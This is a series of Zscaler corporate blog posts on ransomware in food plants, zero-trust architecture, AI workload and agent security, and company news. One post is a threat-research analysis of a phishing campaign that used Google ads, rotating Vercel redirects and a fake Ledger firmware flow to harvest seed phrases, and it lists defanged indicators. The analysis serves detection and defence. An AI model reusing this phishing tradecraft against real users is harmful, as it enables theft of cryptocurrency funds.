Blog

Fairlife Had Eleven Days of Runway. Most Food Plants Can’t Buy a Shift.

Bryan Ashley (Zero Trust Networking, Principal Architect) — Fri, 25 Sep 2026 21:18:08 GMT

Black Kite counted 1,183 publicly disclosed ransomware victims in manufacturing in the first seven months of 2026, up 39.7% on the same period last year and already more than in all of 2023 or 2024, and its manufacturing report has ranked the sector the most-attacked industry for five consecutive years. Nearly half of this year's victims were hit by groups absent from the data in 2023 and 2024, some of them rebrands, so newcomers are arriving with the playbook already learned.Black Kite's research chief describes that playbook plainly: one attack can stop production, and every hour of downtime strengthens the attacker's hand, which makes time the thing the attacker is really holding.In most manufacturing, the clock that matters is how long the business can absorb a stopped line. In food and beverage, the clock is printed on the product, and attackers have noticed: the Food and Ag-ISAC counted 227 ransomware incidents against food and agriculture through July, up 62% on the same period last year.This summer's Fairlife incident looked like a disaster in the headlines, and why it wasn't one tells food manufacturers more. What follows is a composite of how these events tend to run, not any one company's timeline, with the facts Coca-Cola disclosed about Fairlife as the bookends. T+0: the alert is in ITRansomware is confirmed on enterprise hosts, and nothing on the plant floor has changed. Lines are running, products are moving, and the first question on the incident bridge is the obvious one: what else did they touch?On July 16, Coca-Cola disclosed in an SEC filing that Fairlife had identified unauthorized access to a portion of its systems, "including its production-related systems," in connection with a ransomware event. Production was suspended at all four US plants, while Canadian production was not affected and product quality and safety were not impacted. Coca-Cola has not said whether anything on the plant floor was reached, which is the shape of most public disclosures. T+2 hours: the question nobody can answerBetween the office and the line sits a layer both sides trust: the MES, recipe management, batch records, quality and lab systems, label printing, and the warehouse system that decides what ships. Every one of them is a Windows or Linux host, and a decade of Industry 4.0 investment connected them to the plant network on purpose.So the bridge question becomes: from the compromised segment, what can actually open a connection to an HMI, a line-side server, a controller, or the systems that write the batch record?In most plants the honest answer at hour two is "we don't know." Oscar Calderon, IBM's OT cybersecurity GRC leader, told Industrial Cyber in September that he has seen production stop when teams could no longer trust control systems, batch records, or quality data, with the equipment itself working fine. If the systems that write batch records and release holds might be reachable, stopping the line is the right call, made with almost no information. T+1 shift: the ledger startsThis is where food and beverage separates from the rest of manufacturing, because everything in the plant was on a clock before the alert.What is waitingWhat it is waiting onHow long it hasRaw inputs in receiving and silosThe line to restart. Raw milk, livestock and crops keep arriving, so lost days become destroyed raw material (Stuart King of AnzenOT, speaking to Industrial Cyber)Hours to a dayProduct in processA sequenced restart. "There is no such thing as a short outage" (King): product stuck mid-line and spoiling, systems reset, trucks at the dockThe shiftFinished goods in cold storageA release decision that needs trusted records. If the HACCP records for a production window are unverifiable, everything made in that window is presumptively suspect (King)Every day offline is a day off the shelf life you sellRetail commitmentsTrucks and shelves. Large retailers now treat cybersecurity and traceability as conditions of doing business (Calderon)Days, and the shortfall is on a shelf in public viewTrust in the systems that feed the lineSomeone to prove the attacker never reached themIndefinite, until provenThe attacker is counting on that last row, and the four above it are why a food plant was chosen in the first place. T+3 days: the negotiation is about datesBy day three the encrypted files matter less than they seem, because backups exist for those. There is usually a data-theft claim too; in Fairlife's case the Anubis group claimed a terabyte, and Coca-Cola confirmed that certain data was taken. In a food plant, the leverage that compounds is whatever goes out of date while the plant proves a negative.Jaguar Land Rover's September 2025 attack halted UK production for about five weeks, and on September 7 this year JLR announced about 4,000 job cuts amid the fallout. That is brutal, but a car does not expire in five weeks, while fresh milk cannot sit anywhere for one. T+11 days: most production resumesOn July 27, Coca-Cola said Fairlife had resumed the majority of production at its four US facilities and that retail availability had been "largely unimpacted, due to the availability of existing inventory." It did not expect a material impact, and the next day CEO Henrique Braun told analysts supply and consumer service had not been affected.From the attacker's side, that is a strange result: eleven days between Coca-Cola's first disclosure and its restoration update, at a brand Coca-Cola says grew from about $10 million to nearly $4 billion in retail value, and the ledger never reached the shelf.That outcome was engineered into the product. Ultra-filtration and higher-temperature pasteurization give Fairlife's milk a far longer unopened shelf life than conventional milk, and its protein shakes are shelf-stable. Enough finished product already in the channel, and a product built to sit on a shelf, gave Fairlife what most food manufacturers lack, which is runway measured in days. It also shaped the response: by Anubis's own account, Fairlife reported the incident rather than follow the instructions left on its network, a choice that is far easier to make while the shelves are still full.Now run the same eleven days at a fresh-milk bottler, a protein plant, a produce packer, or a bakery, where no inventory outlasts the outage. King made the point to Industrial Cyber: a dairy or protein plant with a difficult, sequenced restart takes days to come back regardless of how sophisticated the attacker was. Those are plants that cannot buy a shift, let alone eleven days.In most of these incidents, the length of the outage is not set by the malware. It is set at hour two, when the honest answer to "what can the compromised segment reach?" is "we don't know."Same eleven days. The plant stops on the top clock and pays on the bottom one. Recovery phases are illustrative, not Fairlife's disclosed timeline. What would have to be true at T+2 hoursA plant that cannot buy runway with inventory has one lever left, which is to shorten the outage. The fastest restarts will come from plants that can answer three questions before the incident, whatever the state of their backups.Reach. From a compromised host in IT, or in a supplier's network, what on the plant floor can be connected to at all? If the answer is "most of it," the shutdown decision was made years ago when the network was designed, and the incident is only collecting on it. Food and Ag-ISAC's Jonathan Braley notes that many OT compromises start in corporate IT and move laterally through weak segmentation.Dependency. Which production systems actually need a path to enterprise IT to keep running, and which have one only because the network was built flat? And where do the systems that write batch records and release holds actually live?Proof. Can you show, from records you already keep, what a given host has talked to in the last 30 days, so "we don't know" becomes "we know it never reached the line"?Four controls make those answers short.Segment every device. Zscaler Zero Trust Device Segmentation puts every production asset - controller, HMI, line-side server, vision system, and the MES, batch, and historian servers the line depends on - in a network of one, with no agents to install, no upgrades, and no downtime. A compromised host in IT gets no route to the line, which gives the reach question a one-word answer.Broker access instead of extending the network. OEM technicians, integrators, and your own engineers reach a specific controller for a specific session through Zscaler Privileged Remote Access, with no open RDP, SSH, or VNC ports on the plant, no network path between user and asset, and every session recorded, so the supplier's network never becomes an extension of yours.Let the policy be the dependency map. When every allowed IT-to-plant flow is a policy rather than an accident of addressing, the dependency list is the policy itself, and it exists before the incident, which is when the bridge needs it. Eaton has taken this model across more than 100 manufacturing facilities.Keep the flow record. The same platform discovers and classifies every device on the plant network and records the flows between them, so the proof question is answered from data collected before the incident.Ransomware may still land, but when the plant's dependencies sit inside a boundary you can prove, it lands in IT, the line keeps running, and the restart conversation is about the office. If batch records and release systems still live on the enterprise side, the dependency question is telling you to bring them inside first. Once they are, the ledger does not have to start, whether or not you have eleven days of inventory in the cooler.If you want to know what your own plants would answer at hour two, we run OT architecture workshops that start from your line-side dependencies and work outward: request an OT architecture workshop. Or hear from our customers directly on how they are leveraging Zscaler OT Security solutions in their own environments.

Threat Actors Use Google Ads To Target Ledger Users

Prakhar Shrotriya (Security Researcher) — Fri, 25 Sep 2026 20:42:00 GMT

IntroductionIn August 2026, Zscaler ThreatLabz analyzed a phishing campaign that used fraudulent Google ads to target Ledger hardware wallet users. The ads redirected users through Google Cloud Storage and Vercel to a Google Sites page containing a phishing page impersonating Ledger in an iframe. During our analysis, the Vercel redirect appeared to change every 15-20 minutes. There, a fake device-verification process prompted users to enter their secret recovery phrases, which attackers could use to access their wallets without the physical devices.In this blog post, ThreatLabz examines the campaign’s infrastructure and the steps used to trick users into submitting their recovery phrases. Key TakeawaysIn August 2026, ThreatLabz discovered a campaign in which fraudulent Google ads targeting Ledger users appeared under a Google-verified advertiser profile. The ads routed users through Google Cloud Storage and Vercel to a Google Sites page that displayed the phishing content in an iframe.The Google Cloud Storage page redirected users to Vercel domains that appeared to change every 15-20 minutes during the observation period.A fake device-verification process asked users for their secret recovery phrases and then sent the submitted phrases to an attacker-controlled Vercel domain. Attack ChainThe figure below shows the attack chain for this campaign.Figure 1: High-level overview of the campaign’s attack chain. Technical AnalysisThe following sections examine the campaign’s redirect chain, phishing page, and recovery phrase collection process. ThreatLabz observed malicious sponsored ads in search results for Ledger-related terms. The ads targeted users in the United States, Europe, and parts of Asia. An example of a malicious Google ad is shown below.Figure 2: Malicious Google ad impersonating Ledger in search results.The ad displayed google.com and “10L+ visits in the past month” (“10L” means 1 million in Indian numbering). The visit count appears to refer to google.com rather than the phishing destination, which may have made the ad look more credible. The ad came from a long-standing, verified advertiser account with no observed history of malicious ads. The threat actor may have compromised the account to run the campaign.Figure 3: Google’s advertiser information for the malicious Google ad, showing a verified advertiser identity and a location in Germany.Clicking the malicious ad took users to a Google Cloud Storage URL, which redirected them to a Vercel-hosted page. That page then redirected users to a Google Sites page displaying the phishing page in an iframe. The attack also used Vercel-hosted domains to serve the phishing content displayed in the iframe. The Vercel domain in the JavaScript redirect appeared to change approximately every 15-20 minutes during our analysis, making the activity harder to detect based on the reputation of the domain. The two HTML examples below show that the JavaScript redirect points to a different Vercel-hosted domain in the later sample.Figure 4: The two HTML examples showing that the JavaScript redirect points to a different Vercel-hosted domain.The phishing page mimicked the official Ledger interface and offered downloads for Windows, macOS, Linux, and mobile devices. The phishing page collected device metadata and monitored user interactions like keypresses, touches, and mouse movements. It sent this data to a Vercel-hosted endpoint, potentially allowing attackers to distinguish real visitors from automated analysis tools. The phishing page also included a Cloudflare Web Analytics beacon (beacon.min.js) configured with an analytics token. The phishing page is shown below.Figure 5: The phishing page impersonating Ledger.The phishing page allowed the user to select a device type when downloading the Ledger app, as shown below.Figure 6: Ledger device options displayed on the phishing page.After selecting a device, the user was presented with messages such as "Connecting your Ledger" and "Initializing Firmware Update." The phishing page then claimed that the Ledger device was connected and asked the user to confirm device ownership, as shown in the figure below.Figure 7: Fraudulent prompt asking the user to confirm ownership.The phishing page then prompted the user to enter their secret recovery phrase, as shown in the figure below.Figure 8: Fraudulent secret recovery phrase entry interface with autocomplete feature.A secret recovery phrase (SRP) allows a user to restore a cryptocurrency wallet. By stealing this phrase, attackers can restore the wallet in compatible software and transfer funds without access to the victim’s physical Ledger device. The phishing page retrieves the 2,048-word BIP-39 English wordlist from api/bip39-english.txt and uses it to provide autocomplete suggestions in each recovery phrase field. As the user types, a dropdown displays matching words from the list.When the user first submitted their recovery phrase, the page sent it to an attacker-controlled Vercel domain. The page also initialized an hCaptcha widget in invisible mode during submission. The page then displayed an error message: “Invalid seed. Please re-enter your recovery phrase carefully.” After the user submitted the phrase again, the page sent the second submission to the attacker-controlled endpoint and redirected the user to the initial landing page. ThreatLabz did not observe server-side logic comparing the two submissions. ConclusionThis campaign used malicious Google ads to direct Ledger users through Google Cloud Storage and Vercel to a Google Sites page displaying a phishing site in an iframe. The phishing site imitated Ledger’s interface and used a fake device-verification process to collect secret recovery phrases. The attackers were able to update parts of the delivery chain while continuing to use the same Google Cloud Storage page. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to this phishing campaign at various levels with the following threat names:HTML.Phish.Ledger Indicators Of Compromise (IOCs)TypeValueGCS Bucket URLstorage[.]googleapis[.]com/apf-leg-ad-23798/storage[.]googleapis[.]com/ledg-leg1-79230/storage[.]googleapis[.]com/apf-leg-ad-22076/storage[.]googleapis[.]com/apf-leg-ad-32595/Google Sites URLsites[.]google[.]com/view/start-ledger-walletsites[.]google[.]com/view/apps-ledger-walletsites[.]google[.]com/view/download-ledger-wallet-pcVercel Domainssoyyoo-cwpc5n0e[.]vercel[.]apprpc-gbz5[.]vercel[.]appwhyavc-qwmv6stx[.]vercel[.]approuter-wdoi[.]vercel[.]appnode-f1ey[.]vercel[.]app

Why May Wong Boomeranged Back to Zscaler

Zscaler Life (Zscaler) — Thu, 24 Sep 2026 23:08:18 GMT

Sometimes stepping away gives you the ultimate clarity on where you belong. For May Wong, boomeranging back to Zscaler proved that world-class infrastructure, clear alignment, and a culture built on genuine trust make all the difference. Hear from May as she shares what her first 30 days have been like.Boomeranging back to Zscaler has felt a bit like coming home. After a few years in startup environments, I found myself appreciating things I once took for granted: the clarity, the infrastructure, and the alignment that comes with an organization truly built to scale.Walking into HQ on my first day, I ran into our CEO, Jay, in the hall. His response was simple: "Hey, long time no see. Welcome back." It meant more than he probably realized. That moment said everything about the culture of trust, warmth, and the sense that people genuinely matter. It immediately reminded me what it means to be committed to each other, regardless of title or hierarchy.In my first 30 days driving marketing growth across our West Enterprise and Major segments, I’ve seen our culture of execution in action. Our team is focused on landing outcomes that help our customers navigate complex AI and cybersecurity challenges. Through co-creation and executing with urgency, everyone steps up wherever needed to support our sales teams and stay committed to the mission.Returning to Zscaler with a fresh perspective has been incredibly fulfilling. I’m energized by the massive growth opportunities ahead and ready to keep making a meaningful impact alongside such an extraordinary team.We're hiring! Explore open roles at https://www.zscaler.com/careers/search

Supercharge Your Growth: Your Zscaler Partner Demand Center Meets Agentic AI

Keely Jinol (Senior Marketing Manager) — Thu, 24 Sep 2026 16:46:19 GMT

Supercharge Your Growth: Your Zscaler Partner Demand Center Meets Agentic AIHey Partners!Executing co-marketing with Zscaler shouldn't be a heavy lift. That’s why we’ve enhanced the Zscaler Partner Demand Center (PDC) with optimized user experience and Agentic AI capabilities, making driving awareness of your solutions with Zscaler and demand generation faster, smarter, and easier than ever. Imagine launching a complete, localized co-branded marketing campaign in under 2 minutes. With new Agentic AI features, you can do exactly that, for example:AskIQ: Your built-in marketing genius. Instantly find the perfect campaign, draft localized email streams, or generate ready-to-use social posts in 34+ languagesSparkle: Streamline your workflow and customize assets with zero design experience required.Whether you’re a power user, brand new to the platform, or haven’t explored the PDC recently, now is the time to check it out. Scale Your Execution, Keep Your StrategyThe goal of our new AI features isn't to replace human connection, it’s to automate the tedious tasks that compete for your time. Channel partnerships are built on trust and human relationships. By letting Agentic AI handle the routine work (like content localization and email drafting), you and your team can focus on the strategic conversations that actually close deals.We’ve revamped the PDC experience based directly on your feedback. With streamlined navigation, activated AI, and a cleaner user experience, finding the right marketing assets and launching campaigns now takes minutes, not hours. Whether you need customizable email streams, co-brandable collateral, or integrated solution plays with our technology partners, it’s all right there waiting for you.Lead the Conversation with the latest: AI SecurityReady to dive in? Start with our latest launch - the AI Security campaign. It gives you everything you need to help your customers securely adopt AI technologies while positioning your practice at the forefront of modern cloud security. Exclusive Launch Incentive: Grab Your Free AI Note Taker!There’s never been a better time to engage your customers on the critical importance of securing AI. To help you lead the charge, we're launching an exclusive incentive:The Reward: The first 5 partners to launch and execute our new AI Security campaign through the PDC will receive a free premium AI Note Taker, Plaid Note on us to help supercharge your marketing stack!This is your chance to be at the forefront of the AI conversation, gain a competitive edge, and drive an immediate pipeline.Jump into the Partner Demand Center & Launch Your campaign today!New to the PDC? Get started here!

How to Secure Branch Networks Against Machine-Speed, AI-Driven Cyber Threats

Josh Pederson (Senior Product Marketing Manager - Zero Trust Branch) — Wed, 23 Sep 2026 15:40:03 GMT

Anthropic’s Mythos disclosure in April confirmed what network security teams had been bracing for. A frontier model, without cybersecurity-specific training, autonomously discovered and wrote working exploits for thousands of zero-day vulnerabilities, including 181 against a single browser. Most importantly, AI was now able to assemble existing, individually unremarkable vulnerabilities into a working attack chain.That changed the meaning of the CVE backlog for network security teams. Firewalls, VPN concentrators, badge readers, OT controllers: each class of device has its own vendor, its own update process, and its own maintenance window. Some equipment cannot be patched at all — locked to vendor firmware, or running years beyond end of support. So teams triage by severity, fix what they consider critical, and let the rest pile up in the backlog. That way of triaging worked for as long as chaining those CVEs together required a skilled human attacker with plenty of time and patience. Mythos ended that era. The backlog has become the raw material of AI-composed attack chains that can assemble faster than a team can schedule a change window.The Cloud Security Alliance (CSA) has responded to this AI-based threat with their recommendations for getting "Mythos Ready", highlighting eleven priority actions. Most revolve around building the security program: governance, rebuilt risk models, a permanent VulnOps function. But several are about architecture, and those land squarely on the infrastructure that network security teams run every day: the edge devices, the site-to-site mesh, the branch inspection stack, and the change process. When the branch is built like a café, with every site connected to the internet and all connections proxied through the cloud-based Zscaler Zero Trust Exchange, AI attacks chains suddenly stop cold. There’s no attack surface to explore, and there’s no way for malware to move laterally. That model, built on Zero Trust principles, delivers on the architectural actions the CSA calls for. We can condense these into four core tenets:Hide,Contain,Inspect, andRespond.Hide: Remove the Chain’s Starting PointBy nature, legacy networks are inherently exposed to AI-based attack chains. Every branch firewall, VPN concentrator, and SD-WAN appliance with a public IP sits in scanning databases anyone can query, announcing what it is and what version it runs. That identifying detail (vendor, model, and software version) is the device's fingerprint, and it tells an AI attacker exactly which CVEs your team has not fixed yet. The attacker then lines them up one by one, starting with whatever gets it in the door. The next flaw lets it read something it should not, and then a third raises its permissions. Each can be a moderate vulnerability that typically belongs in the backlog, but by exploiting them in sequence, the AI attacker can gain control of the appliance and spread from there.What Zero Trust Branch changes: branch connectivity is outbound-only to the Zero Trust Exchange. No inbound listener, no DNS record resolving to the site, no port that answers a probe. A scan returns no fingerprint, and without one, the attacker has no starting point to build a chain from. All devices and their CVEs are hidden from public view, preventing an AI attacker from finding a foothold to start the chain from.This directly aligns with CSA Priority Action #7 (Inventory and Reduce Attack Surface) by eliminating public reachability. Enforcing an outbound-only footprint also supports CSA Priority Action #4 (Prepare for Continuous Patching). When a device can be fingerprinted from the internet, every unpatched CVE on it is a race against an external attacker. When there is no fingerprint, your team patches on its own change window, not the attacker's timeline.Contain: Collapse the Blast Radius the Chain Depends OnHiding the branch denies an AI attacker a starting point from the internet, but compromise can arrive other ways: a contractor laptop, a vulnerable badge reader, or a poisoned update to a site controller. Once the attacker is inside, traditional network-centric segmentation works in its favor. With access managed based on network subnets, a site-to-site VPN mesh allows every branch to reach every other branch's address space, making the routing table a map for the AI attacker. One compromised device can open a path to every other site and the data center behind them, putting unpatched devices across the estate within reach. At each site, the attacker bypasses legacy network boundaries to enumerate local devices, including the cameras, badge readers, and OT controllers your team cannot patch, testing each one at machine speed.What Zero Trust Branch changes: legacy network-centric segmentation is replaced with software-defined, agentless microsegmentation at the branch edge. The Zero Trust Exchange brokers every connection between users and devices to authorized applications. A compromise in one branch cannot spread to another location. Within the branch, agentless microsegmentation isolates every device into a software-defined "network of one" without requiring complex VLAN redesigns or endpoint agent installations. If an exposed IP camera is compromised, microsegmentation instantly collapses the blast radius—preventing lateral movement and leaving the attacker with nowhere to go.This is the approach CSA Priority Action #8 (Harden Your Environment) calls for, using deep segmentation to limit how far an intrusion spreads once it lands. When each device is isolated, a compromise stays a single-device incident, and the equipment your team cannot patch no longer puts the rest of the estate at risk.Inspect: See the Chain While It Is Still Being AssembledContainment limits where an attacker can go, but they still have to communicate to finish the chain. The attacker reaches out to the internet, pulls down tools, and establishes command-and-control channels, producing traffic with each step. At most branches today, this traffic is inspected by the same local hardware appliance that routes it, and performing full SSL/TLS decryption is a heavy computational burden. When traffic spikes during a backup window or a video-heavy afternoon, the appliance runs out of CPU headroom. To keep the site working, sessions get exempted from decryption which quietly narrows inspection coverage, enabling the attacker's traffic to hide inside ordinary encrypted web sessions. This can persist for weeks inside a branch that falsely believes it is inspecting everything.What Zero Trust Branch changes: inspection moves off the branch appliance and into the cloud-based Zero Trust Exchange. Every flow is inspected, whether it comes from a user or device, and is never scaled back when a site gets busy so attacker traffic cannot hide inside encrypted sessions. Because the Zero Trust Exchange also inspects traffic across thousands of organizations, a threat pattern detected at one branch is immediately shared and blocked across all of them. By forcing every outbound request through this global security fabric, you systematically dismantle the communication channels the attacker needs to complete their chain.This is the other half of CSA Priority Action #8 (Harden Your Environment): egress filtering, which inspects traffic leaving the site to catch a chaining attack before it completes. When inspection is offloaded to the cloud, threat protection holds no matter how busy a site gets, allowing your team to disrupt the attack chain while it is still assembling.Respond: Policy That Moves at Machine SpeedAs inspection uncovers clear signs of an ongoing intrusion, response must take over immediately to stop the attack where it lies. Unfortunately, legacy response remains bottlenecked by manual, human-speed workflows—generating tickets, waiting for emergency change approvals, and logging into individual appliances. This operational latency is outmatched by autonomous, machine-speed AI threats, making every second of delay an open window for the attacker. That time gap is why an organization can have direct visibility into an attack and still be breached by it.What Zero Trust Branch changes: an automated incident response loop eliminates human latency from the defensive path. Security teams pre-approve response playbooks in advance. A confirmed threat signal triggers immediate containment through the Ransomware Kill Switch, completely bypassing triage delays, change approval windows, and manual site-by-site logins. Also, microsegmentation automatically isolates the compromised asset from all other local devices and remote sites by default. By instantly collapsing the threat's blast radius to a single device, this surgical response merges detection and containment into a single, unified event and ensures branch operations continue uninterrupted.This aligns with CSA Priority Action #10 (Build an Automated Response Capability) by enabling systemic, autonomous defense at the edge. When incident response relies on manual tickets and approvals, an AI adversary dictates the pace of the breach. By pre-authorizing automated response playbooks, you shift change control from a frantic, mid-incident scramble to a strategic, pre-built defensive move. Change control still happens, just before an incident rather than in the middle of one.An AI-composed attack chain needs four things: somewhere to land, somewhere to go, somewhere to take cover, and time to work. Your backlog can't take those away. Your architecture can.Zero Trust Branch Puts You in ControlYour team's ongoing triage of the backlog was the right move when chaining CVEs took a skilled human attacker acting at human speed. AI has removed that constraint, and patching faster is now a losing race against a machine. An outdated legacy architecture inherently opens you up to attack by providing the network pathways an adversary needs to build an exploit chain.Zero Trust Branch neutralizes these chains through four tenets that work as a single cohesive set. Hide takes away somewhere to land. Contain takes away somewhere to go. Inspect takes away somewhere to take cover. Respond takes away time required to assemble. An attacker needs all four conditions to finish a chain, and losing even one disrupts their progress. Removing all four ensures that your CVE backlog no longer presents a systemic risk to your enterprise.Connect with our experts for a tailored architectural walkthrough and see how Zscaler secures your distributed branch locations against autonomous AI threats.

Why Zero Trust Must Extend to AI Workloads

Julian Weinberger (Principal Sales Engineer) — Wed, 23 Sep 2026 15:00:00 GMT

AI workloads are forcing enterprises to confront a problem that conventional network and cloud security architecture was not built to solve.Static perimeter models—firewalls, ACLs, network-layer segmentation—enforce policy based on what is known and pre-defined. They were engineered for a world where you could describe, in advance, every legitimate communication a workload would ever initiate. That world no longer exists.Why legacy controls break down in AI environmentsThe failure mode of legacy architecture in AI environments is not subtle. Security teams face a binary and untenable choice: lock down egress tightly and accept that AI capabilities will be severely constrained, or open the network broadly and accept a risk posture that would not survive a serious audit. Neither option is acceptable at enterprise scale.Beyond policy expressiveness, there is a throughput problem. Many enterprise firewalls were sized for human-speed traffic volumes. An AI orchestration layer running dozens of parallel inference calls, retrieval operations, and tool invocations can generate traffic volumes and connection rates that overwhelm inspection infrastructure—leading teams to bypass inspection for AI traffic specifically, which is precisely the traffic that most needs it.There is also a fundamental identity problem. IP-based policy enforcement cannot distinguish between two AI agents running on the same compute infrastructure with different purposes, different data access rights, and different risk profiles. In a world where workload identity must carry the weight of policy enforcement, network addresses are insufficient as a control primitive.AI workloads cannot be secured simply by extending yesterday’s controls.And there is a visibility problem as well. The threat vectors that have traditionally targeted human users are now directly applicable to AI workloads. Prompt injection is the AI analog of phishing. A malicious instruction embedded in a webpage, a document, or an API response can redirect an AI agent’s behavior without any interaction from a human operator. AI workloads that dynamically pull external content also introduce a data poisoning surface that traditional firewalls were never designed to inspect or understand.The weakest link in an organization’s security posture is no longer exclusively the human user. It is also the AI agent acting on their behalf—with system-level credentials, access to internal APIs, and the ability to generate and execute actions at machine speed.That is why AI workloads cannot be secured simply by extending yesterday’s controls. What securing AI workloads now requiresWhat is required is a different architectural model: one that can apply policy based on identity rather than network location, inspect traffic inline even when the payload is the attack surface, and scale enforcement without creating bottlenecks that force teams to trade security for performance.Scalability must be elastic, not capacity-planned. Policy enforcement infrastructure must scale with AI workload traffic dynamically—not become a bottleneck that forces security teams to choose between inspection and availability. Cloud-native, proxy-based architectures with horizontal scale are far better suited to this problem than appliance-based firewall throughput limits.Identity must be workload-native. Policy enforcement must understand which AI agent or pipeline is generating a request—not simply which IP address it originates from. Workload identity, based on service accounts, cryptographic attestation, or orchestration-layer metadata, must become the primary policy primitive.Inline inspection must be designed for AI traffic. TLS decryption and content inspection are not optional when the payload is the attack surface. Threat detection capabilities must be tuned specifically for AI traffic patterns—including prompt injection signatures, anomalous retrieval behaviors, and data exfiltration indicators that do not resemble traditional network-layer attacks.Zero Trust must extend to workloads without exception.Security must follow the workloadThe principle of least privilege, continuous verification, and no implicit trust must apply to AI agents as rigorously as it applies to human users. East-west traffic between AI pipelines and internal services should be treated with the same skepticism as north-south egress to the public internet.Security must travel with the workload.In distributed, multi-cloud environments where AI inference can run anywhere, security policy anchored to a physical or virtual network perimeter will always have blind spots. Enforcement must be attached to the workload’s identity and follow it regardless of where compute is provisioned.AI workloads are not an exception to Zero Trust. They are one of the clearest reasons it now has to apply everywhere.AI workloads have not simply added new traffic to existing infrastructure. They have invalidated the foundational assumptions that enterprise security architecture was built on. The firewalls, ACLs, and perimeter models protecting environments today were designed for workloads that behaved like machines—predictable, bounded, and controllable. They were not designed for workloads that behave like employees: curious, dynamic, externally connected, and capable of being manipulated through the content they consume.AI workloads are not an exception to Zero Trust. They are one of the clearest reasons it now has to apply everywhere. Organizations that recognize this shift early will be better positioned to scale AI safely, without recreating the same visibility and control gaps that legacy architecture can no longer close.

Zscaler Joins the Blueprint Alliance to Help Secure the Agentic Enterprise

Mason Coffman (Product Marketing Manager) — Tue, 22 Sep 2026 12:05:31 GMT

The tectonic shift toward enterprise AI adoption is happening, and it’s happening fast. According to the Zscaler ThreatLabz 2026 AI Security Report, enterprise AI and ML transactions skyrocketed by 83% year-over-year. AI is no longer a nice-to-have tool. It is a persistent operating layer.As part of broader enterprise adoption trends, AI agents are moving quickly from experimentation to real-world deployments. Unlike traditional software, agents can reason, execute multi-step plans, call APIs, and take action across technology environments. That potential creates significant opportunity, but it also introduces a new governance challenge for organizations.The harsh reality is that cybersecurity teams are simply underprepared. Earlier this year, the Zscaler ThreatLabz red team conducted realistic adversarial testing on enterprise AI deployments. Every single enterprise AI system that was tested failed at least once under realistic adversarial pressure, with those failures surfacing quickly.Introducing the Blueprint AllianceCustomers need proactive guidance on how to adapt their technology stacks for the agentic era. But securing AI agents cannot be addressed by a single control point or a single vendor. It requires connected capabilities across identity, data, applications, cloud infrastructure, networks, endpoints, and security operations.That is why Zscaler is proud to join the Blueprint Alliance as a founding member.The Blueprint Alliance is a cross-industry coalition advancing an open, multi-vendor reference architecture to secure and govern AI agents at enterprise scale. It helps organizations implement a zero-trust, agentic control plane so they can continue to scale their AI deployments. AI agent security is an ecosystem challengeAI agents work across the enterprise stack. They may inherit human or agent identities and permissions, interact with cloud infrastructure, retrieve sensitive data, connect to SaaS apps and APIs, or operate through endpoints and networks. They can also act asynchronously, potentially continuing work after the human who initiated a task has logged off. This changes what customers need from their security and technology providers. Organizations need an integrated approach that can help them:Treat every agent as a first-class identityScope access to the task rather than granting standing accessKeep delegation traceableMonitor runtime behavior continuouslyEnable containment that’s instant and reversibleEnsure governance adapts at the speed AI movesGuided by these principles, the Blueprint Alliance aligned on a common framework for helping organizations answer four foundational questions:Where are my agents?What can they do?What are they doing?How do I respond? Let’s take a closer look at these foundational questions, including a sample of specific activities and capabilities security teams should consider to address each. 1. Where are my agents? (discovery and visibility) As the adage goes, you can’t protect what you can’t see. The first step toward securing agents and other AI tools or apps is to identify and assess every AI-related interaction traversing the corporate infrastructure—whether sanctioned or unapproved. You must continuously scan and discover all AI integrations, APIs, and automated agents running in both development and production. This includes the ability to map out all connected dependencies such as LLMs, MCP servers, software libraries, data flows, and how the agents are imported into the enterprise environment. Once discovered, agents should be classified and audited according to their use. Are they employee-facing—deployed to automate internal workflows—or are they external-facing, designed to execute supply chain transactions or help deliver end-customer services? Identifying which components your agents are connecting to and classifying their use gives security teams an up-to-date, centralized inventory. Being able to see every AI asset and trace its lineage in a single view will help your organization proactively assess and mitigate risk while protecting future AI deployments. 2. What can they do? (connection and blast radius)Once you find and classify AI agents, you have to define their boundaries. In a world where AI agents are rapidly becoming the new “users” on your networks, the core philosophy of zero trust security remains the same: never trust, always verify. Don’t grant agents broad access to the network and other enterprise systems. Instead, set and enforce adaptive, context-aware policies that dictate exactly which data repositories, APIs, microservices, or cloud resources an agent is allowed to interact with. Policies can range from broader, role-based controls that define the high-level environments an agent can subscribe to; to network-based segmentation that restricts the flow of agentic traffic; to guardrails that prevent non-compliant actions or block suspected risky behavior. Setting policies that specify what an agent is allowed to read, write, or execute provides a baseline for compliance and a continuous oversight loop that can scale at the velocity today’s AI initiatives often require. 3. What are they doing? (runtime authorization and control)Boundaries aren’t effective if you are blind to the actual content of an agentic transaction. You must be able to monitor, assess, and authorize agent actions to prevent misuse, malicious behavior, and sensitive data leaks.This level of inspection must be done inline, directly in the execution path. Here, AI gateways can serve as the runtime control plane—governing access and providing context based on the requested actions. For example, an agent attempts to retrieve and send software source code or a customer’s personally identifiable information (PII) to a non-approved external resource. The gateway can scan the prompt and strip any intellectual property before reaching the destination, or block the request entirely. In essence, your data governance policy is enforced in transit, not after an event has occurred. In addition, continuous monitoring and logging of all agent telemetry and event data can fortify inline threat defenses. This includes detecting unusual spikes in data requests or high volumes of calls to an internal API that an agent rarely touches. Being able to see, route, secure, and govern every AI transaction from a central control plane helps you apply zero trust to every model, agent, and API call in real time. 4. How do I respond? (active containment)The final pillar transforms telemetry and risky behavior into automated responses for faster containment and remediation. Here, AI guardrails address vulnerabilities by providing an active checkpoint on every agent interaction—blocking malicious threats and moderating content to filter out toxic or unauthorized use of data. For example, bad actors are increasingly using prompt injection techniques that cause AI agents to behave differently than intended. AI guardrails can help detect and mitigate prompt injection patterns, flagging suspicious instructions. Additionally, the guardrails can analyze the semantic meaning of both the input prompt and the returned response to validate that the agent’s output matches its expected behavior before the data reaches its target destination. It’s worth mentioning that having precise guardrails in place is often favorable to broad-based blocking. While overall blocking declined year-over-year—suggesting progress toward more policy-driven AI governance—enterprises still blocked 39% of all AI/ML access attempts in 2025.Instead, security teams can instantly isolate a compromised agent, revoke its specific access token, sandbox or quarantine it, or block its connection to a targeted application—and then safely restore it once the threat is mitigated. These more surgical mechanisms promote safer use of agents, deter users from seeking unapproved alternatives, and provide IT with a full trace for auditing and compliance. What Zscaler brings to the Blueprint AllianceAt Zscaler, we help customers safely embrace AI by providing a unified, comprehensive set of solutions to see every asset and secure every connection in the path of AI. We deliver many of the core capabilities outlined above through our AI Security solution suite, including: AI Asset Management: Maintain an up-to-date, comprehensive inventory of AI apps, models, infrastructure, and agents to detect shadow AI, 